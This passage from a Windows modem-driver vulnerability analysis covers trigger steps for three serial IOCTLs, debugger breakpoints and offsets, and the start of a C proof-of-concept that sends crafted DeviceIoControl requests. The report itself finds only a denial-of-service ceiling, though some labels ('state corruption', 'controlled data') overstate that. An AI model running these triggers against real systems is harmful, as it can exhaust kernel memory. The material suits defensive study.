&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x129da2:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;r14&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0x7FFFFF20&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;; reserved FlowReplace bits&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x129db0:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r13d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="w"&gt;                      &lt;/span&gt;&lt;span class="c1"&gt;; r13b = 3&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x129db6:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;and&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r13d&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x129db9:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r13b&lt;/span&gt;&lt;span class="w"&gt;                     &lt;/span&gt;&lt;span class="c1"&gt;; reject (ControlHandShake &amp;amp; 3) == 3 (SERIAL_DTR|SERIAL_DTR_HANDSHAKE)&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x129dd2:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;r14&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="c1"&gt;; XonLimit  &amp;lt;= receive-buffer size ([rsi+140h])&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x129de6:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;r14&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0xc&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="w"&gt;               &lt;/span&gt;&lt;span class="c1"&gt;; XoffLimit &amp;lt;= receive-buffer size&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x129e01:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;KeAcquireSpinLockRaiseToDpc&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;; apply via SerialSetHandFlow&lt;/span&gt;

&lt;span class="c1"&gt;; ============================================================&lt;/span&gt;
&lt;span class="c1"&gt;; Patched GsDriverEntry (0x1c0006020) — entire driver is unreachable&lt;/span&gt;
&lt;span class="c1"&gt;; ============================================================&lt;/span&gt;
&lt;span class="c1"&gt;; call    __security_init_cookie&lt;/span&gt;
&lt;span class="c1"&gt;; call    DriverEntry                          ; 0x1c0006008: mov eax, 0xC0000424; retn&lt;/span&gt;
&lt;span class="c1"&gt;; retn                                         ; STATUS_NOT_SUPPORTED&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Side-by-side entry point (&lt;code&gt;GsDriverEntry&lt;/code&gt;):&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Unpatched&lt;/th&gt;
&lt;th&gt;Patched&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;__security_init_cookie&lt;/code&gt; then &lt;code&gt;jmp DriverEntry (sub_12e008)&lt;/code&gt; (full init)&lt;/td&gt;
&lt;td&gt;&lt;code&gt;__security_init_cookie&lt;/code&gt; then &lt;code&gt;call sub&lt;/code&gt; returning &lt;code&gt;0xC0000424&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;There is no per-function patch to the dispatcher; the dispatcher is &lt;em&gt;prevented from existing&lt;/em&gt; in the patched build.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;5. Trigger Conditions&lt;/h2&gt;
&lt;h3&gt;To fire Finding 1 (IOCTL 0x1b0008 large NonPagedPool allocation):&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Driver loaded&lt;/strong&gt; — verify &lt;code&gt;\Device\LSIModem0&lt;/code&gt; / &lt;code&gt;\Device\LSISM_xface&lt;/code&gt; exist in WinObj, or &lt;code&gt;driverquery | findstr agrsm&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Open handle:&lt;/strong&gt;
   &lt;code&gt;c
   HANDLE h = CreateFileW(L"\\\\.\\LSIModem0",  // or L"\\\\.\\LSISM_xface"
       GENERIC_READ | GENERIC_WRITE, 0, NULL,
       OPEN_EXISTING, 0, NULL);&lt;/code&gt;
   Whether an unprivileged caller can open the device depends on the device DACL, which is the I/O-manager default (the driver sets no explicit security descriptor); it is not established by the binary. &lt;code&gt;\Device\LSIModem&amp;lt;N&amp;gt;&lt;/code&gt; is &lt;code&gt;Exclusive=1&lt;/code&gt;, so a second opener is refused while a handle is held.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Compute IOCTL code:&lt;/strong&gt;
   &lt;code&gt;c
   DWORD ioctl = CTL_CODE(FILE_DEVICE_SERIAL_PORT /*0x1b*/, 2, METHOD_BUFFERED, FILE_ANY_ACCESS);
   // == 0x1b0008&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Send crafted input:&lt;/strong&gt;
   &lt;code&gt;c
   DWORD size = 0x100;            // must exceed current receive-buffer size (ext +0x140) to force alloc
   BYTE  payload[0x100] = { ... }; // controlled data for async completion
   DeviceIoControl(h, ioctl,
                   payload, sizeof(payload),
                   NULL, 0,
                   &amp;amp;bytes, NULL);&lt;/code&gt;
   Input buffer &lt;strong&gt;must be ≥ 8 bytes&lt;/strong&gt; so the &lt;code&gt;inlen &amp;lt; 8&lt;/code&gt; check at &lt;code&gt;0x129b1a&lt;/code&gt; passes; only the first DWORD (the size) is used.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Observable effect:&lt;/strong&gt; a NonPagedPool allocation of the requested size is made (the receive FIFO). A very large size drives memory pressure or an allocation failure returning &lt;code&gt;STATUS_INSUFFICIENT_RESOURCES&lt;/code&gt; (&lt;code&gt;0xC000009A&lt;/code&gt;). The buffer is sized exactly to the request and its contents come from received serial data, not from the IOCTL, so this IOCTL alone yields no out-of-bounds write.&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;To fire Finding 2 (IOCTL 0x1b0044 state write):&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;Same handle acquisition.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;DWORD code = CTL_CODE(0x1b, 0x11, METHOD_BUFFERED, FILE_ANY_ACCESS); // 0x1b0044&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;DWORD value = 0x1FFF;&lt;/code&gt; (passes &lt;code&gt;&amp;amp; 0xFFFFE000 == 0&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;Send 4-byte input.&lt;/li&gt;
&lt;li&gt;The wait mask is updated; it only changes which serial events satisfy a subsequent &lt;code&gt;IOCTL_SERIAL_WAIT_ON_MASK&lt;/code&gt;. No memory-safety impact on its own.&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;To fire Finding 3 (IOCTL 0x1b0064 state corruption):&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;Same handle.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;DWORD code = CTL_CODE(0x1b, 0x19, METHOD_BUFFERED, FILE_ANY_ACCESS); // 0x1b0064&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Construct 16-byte &lt;code&gt;SERIAL_HANDFLOW&lt;/code&gt;:
   &lt;code&gt;c
   struct { uint32_t ControlHandShake, FlowReplace; int32_t XonLimit, XoffLimit; } in = {
       /* ControlHandShake */ 0x00000040,   // (&amp;amp; 0x7FFFFF84) == 0
       /* FlowReplace      */ 0x00000000,   // (&amp;amp; 0x7FFFFF20) == 0
       /* XonLimit         */ 0x00000010,   // 0 &amp;lt;= XonLimit  &amp;lt;= BufferSize (ext +0x140)
       /* XoffLimit        */ 0x00000010,   // 0 &amp;lt;= XoffLimit &amp;lt;= BufferSize
   };&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Send 16-byte input.&lt;/li&gt;
&lt;li&gt;The validated flow-control settings are applied under the device spinlock. Only in-range, legal handshake values are accepted; out-of-range limits are rejected with &lt;code&gt;STATUS_INVALID_PARAMETER&lt;/code&gt;.&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;h2&gt;6. Exploit Primitive &amp;amp; Development Notes&lt;/h2&gt;
&lt;h3&gt;Primitive&lt;/h3&gt;
&lt;p&gt;The primitive reachable via IOCTL &lt;code&gt;0x1b0008&lt;/code&gt; (IOCTL_SERIAL_SET_QUEUE_SIZE) is an &lt;strong&gt;attacker-controlled &lt;code&gt;NonPagedPool&lt;/code&gt; allocation size&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The attacker chooses the &lt;strong&gt;allocation size&lt;/strong&gt; (any value greater than the current receive-buffer size, up to &lt;code&gt;0xFFFFFFFF&lt;/code&gt;); the buffer becomes the driver's receive FIFO. The IOCTL does not let the attacker choose the buffer's contents — the FIFO is filled by received serial data, not by the IOCTL input.&lt;/li&gt;
&lt;li&gt;A very large size drives a large or failing &lt;code&gt;NonPagedPool&lt;/code&gt; allocation (resource exhaustion / allocation-failure paths), rather than a controlled overflow. Turning this into pool corruption would require an independent overflow or size-mismatch bug in the FIFO handling that is not evidenced here.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;IOCTL &lt;code&gt;0x1b0064&lt;/code&gt; (IOCTL_SERIAL_SET_HANDFLOW) only applies validated, in-range flow-control settings; it is not a corruption primitive on its own.&lt;/p&gt;
&lt;h3&gt;Ceiling&lt;/h3&gt;
&lt;p&gt;The binary evidence supports only a memory-exhaustion / allocation-failure DoS ceiling for IOCTL &lt;code&gt;0x1b0008&lt;/code&gt;. There is no evidence in either build of an out-of-bounds write, use-after-free, or attacker-controlled buffer contents on this path, so no memory-corruption → code-execution primitive is established. The allocation and its grow-only gate match the stock Microsoft serial-framework &lt;code&gt;IOCTL_SERIAL_SET_QUEUE_SIZE&lt;/code&gt; implementation.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;7. Debugger PoC Playbook&lt;/h2&gt;
&lt;p&gt;Target: &lt;strong&gt;&lt;code&gt;agrsm64_unpatched.sys&lt;/code&gt;&lt;/strong&gt; loaded, with WinDbg/KD attached over net/serial.&lt;/p&gt;
&lt;h3&gt;Breakpoints&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;bp agrsm64_unpatched!SerialIoControl            &amp;quot;Entry to IOCTL dispatcher; dump code&amp;quot;
bp agrsm64_unpatched!SerialIoControl+0x324      &amp;quot;0x129b1c — read of attacker-controlled size&amp;quot;
bp agrsm64_unpatched!SerialIoControl+0x33d      &amp;quot;0x129b35 — ExAllocatePoolWithTag call site&amp;quot;
bp agrsm64_unpatched!SerialStartOrQueue            &amp;quot;Queue routine that starts the IRP&amp;quot;
bp agrsm64_unpatched!AddNewModem             &amp;quot;Device creation routine&amp;quot;
bp agrsm64_unpatched!AddNewModem+0x126       &amp;quot;0x58a16 — IoCreateDevice call (DeviceType 0x1b, Exclusive=1)&amp;quot;
bp agrsm64_unpatched!SerialIoControl+0x3df      &amp;quot;0x129bd7 — IOCTL 0x1b0044 wait-mask check&amp;quot;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;What to Inspect at Each BP&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;BP&lt;/th&gt;
&lt;th&gt;Register / Memory to inspect&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;SerialIoControl (sub_1297f8)&lt;/code&gt; entry&lt;/td&gt;
&lt;td&gt;&lt;code&gt;rcx = DeviceObject&lt;/code&gt;, &lt;code&gt;rdx = IRP&lt;/code&gt;. &lt;code&gt;dx @rdx+0xb8&lt;/code&gt; to get current stack location, then &lt;code&gt;dd &amp;lt;stackloc&amp;gt;+0x18 L1&lt;/code&gt; for IoControlCode; &lt;code&gt;dq @rdx+0x18 L1&lt;/code&gt; for SystemBuffer pointer.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;+0x324&lt;/code&gt; (0x129b1c)&lt;/td&gt;
&lt;td&gt;&lt;code&gt;eax&lt;/code&gt; ← &lt;code&gt;*SystemBuffer&lt;/code&gt; (attacker size). Confirm against your user input.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;+0x33d&lt;/code&gt; (0x129b35)&lt;/td&gt;
&lt;td&gt;Args to &lt;code&gt;ExAllocatePoolWithTag&lt;/code&gt;: &lt;code&gt;ecx = 0 (NonPagedPool)&lt;/code&gt;, &lt;code&gt;rdx = size&lt;/code&gt;, &lt;code&gt;r8d = 'AGSM'&lt;/code&gt;.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;SerialStartOrQueue (sub_12c4b4)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;rcx = dev ext&lt;/code&gt;, &lt;code&gt;rdx = IRP&lt;/code&gt;. The stored pool ptr is in the IO stack location scratch (&lt;code&gt;+0x20&lt;/code&gt;). Trace into &lt;code&gt;SerialStartRead (sub_12b5b8)&lt;/code&gt; to see how the receive buffer is used.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;AddNewModem (sub_588f0)+0x126&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;r9d = 0x1b&lt;/code&gt; (FILE_DEVICE_SERIAL_PORT DeviceType), &lt;code&gt;edx = 0x12be0&lt;/code&gt; (DevExtSize), &lt;code&gt;[rsp+…Exclusive] = 1&lt;/code&gt; (Exclusive). This device's symlink is created with &lt;code&gt;IoCreateSymbolicLink&lt;/code&gt; (protected). &lt;code&gt;IoCreateDevice&lt;/code&gt; takes no SecurityDescriptor; no &lt;code&gt;IoCreateDeviceSecure&lt;/code&gt;/SDDL is used, so the device DACL is the I/O-manager default and is not visible in the binary.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Key Offsets Cheat-Sheet&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Address&lt;/th&gt;
&lt;th&gt;Meaning&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x129864&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;IOCTL code dispatch (subtract/compare chain over 0x1b0004…0x1b0090)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x129b1c&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;mov eax, [rax]&lt;/code&gt; — requested queue size from SystemBuffer&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x129b1e&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;cmp eax, [rsi+0x140]&lt;/code&gt; — grow-only vs current receive-buffer size&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x129b35&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;ExAllocatePoolWithTag&lt;/code&gt; call (no upper bound)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x129bd7&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;test dword [rax], 0xFFFFE000&lt;/code&gt; — IOCTL 0x1b0044 wait-mask check&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x129d97&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;test eax, 0x7FFFFF84&lt;/code&gt; — IOCTL 0x1b0064 ControlHandShake mask&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x129dd2&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;cmp [r14+8], eax&lt;/code&gt; — IOCTL 0x1b0064 XonLimit &amp;lt;= BufferSize&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x58a16&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;IoCreateDevice&lt;/code&gt; (DeviceType 0x1b, Exclusive=1; no SecurityDescriptor param)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x58dd0&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;DeviceObject-&amp;gt;Flags |= DO_BUFFERED_IO&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x12e301&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;IoCreateUnprotectedSymbolicLink&lt;/code&gt; call in &lt;code&gt;DriverEntry&lt;/code&gt; (sub_12e008)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Trigger Setup (User-Mode PoC Skeleton)&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="cp"&gt;#include&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cpf"&gt;&amp;lt;windows.h&amp;gt;&lt;/span&gt;
&lt;span class="cp"&gt;#include&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cpf"&gt;&amp;lt;winioctl.h&amp;gt;&lt;/span&gt;
&lt;span class="cp"&gt;#include&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cpf"&gt;&amp;lt;stdio.h&amp;gt;&lt;/span&gt;

&lt;span class="cp"&gt;#define FILE_DEVICE_SERIAL_PORT 0x1b&lt;/span&gt;
&lt;span class="cp"&gt;#define IOCTL_ALLOC  CTL_CODE(FILE_DEVICE_SERIAL_PORT, 0x2, METHOD_BUFFERED, FILE_ANY_ACCESS) &lt;/span&gt;&lt;span class="c1"&gt;// 0x1b0008&lt;/span&gt;
&lt;span class="cp"&gt;#define IOCTL_WRITE  CTL_CODE(FILE_DEVICE_SERIAL_PORT, 0x11, METHOD_BUFFERED, FILE_ANY_ACCESS) &lt;/span&gt;&lt;span class="c1"&gt;// 0x1b0044&lt;/span&gt;
&lt;span class="cp"&gt;#define IOCTL_STATE  CTL_CODE(FILE_DEVICE_SERIAL_PORT, 0x19, METHOD_BUFFERED, FILE_ANY_ACCESS) &lt;/span&gt;&lt;span class="c1"&gt;// 0x1b0064&lt;/span&gt;

&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;HANDLE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;CreateFileW&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;L&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;&lt;/span&gt;&lt;span class="se"&gt;\\\\&lt;/span&gt;&lt;span class="s"&gt;.&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s"&gt;LSIModem0&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;GENERIC_READ&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;GENERIC_WRITE&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;OPEN_EXISTING&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;INVALID_HANDLE_VALUE&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;open fail %lu&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;GetLastError&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;DWORD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;bytes&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// Fire Finding 1:&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;BYTE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;buf1&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mh"&gt;0x108&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;};&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;DWORD&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;buf1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x100&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="c1"&gt;// queue size (must exceed current receive-buffer size)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;DeviceIoControl&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;IOCTL_ALLOC&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;buf1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;sizeof&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;buf1&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;bytes&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// Fire Finding 2:&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;DWORD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x1FFF&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
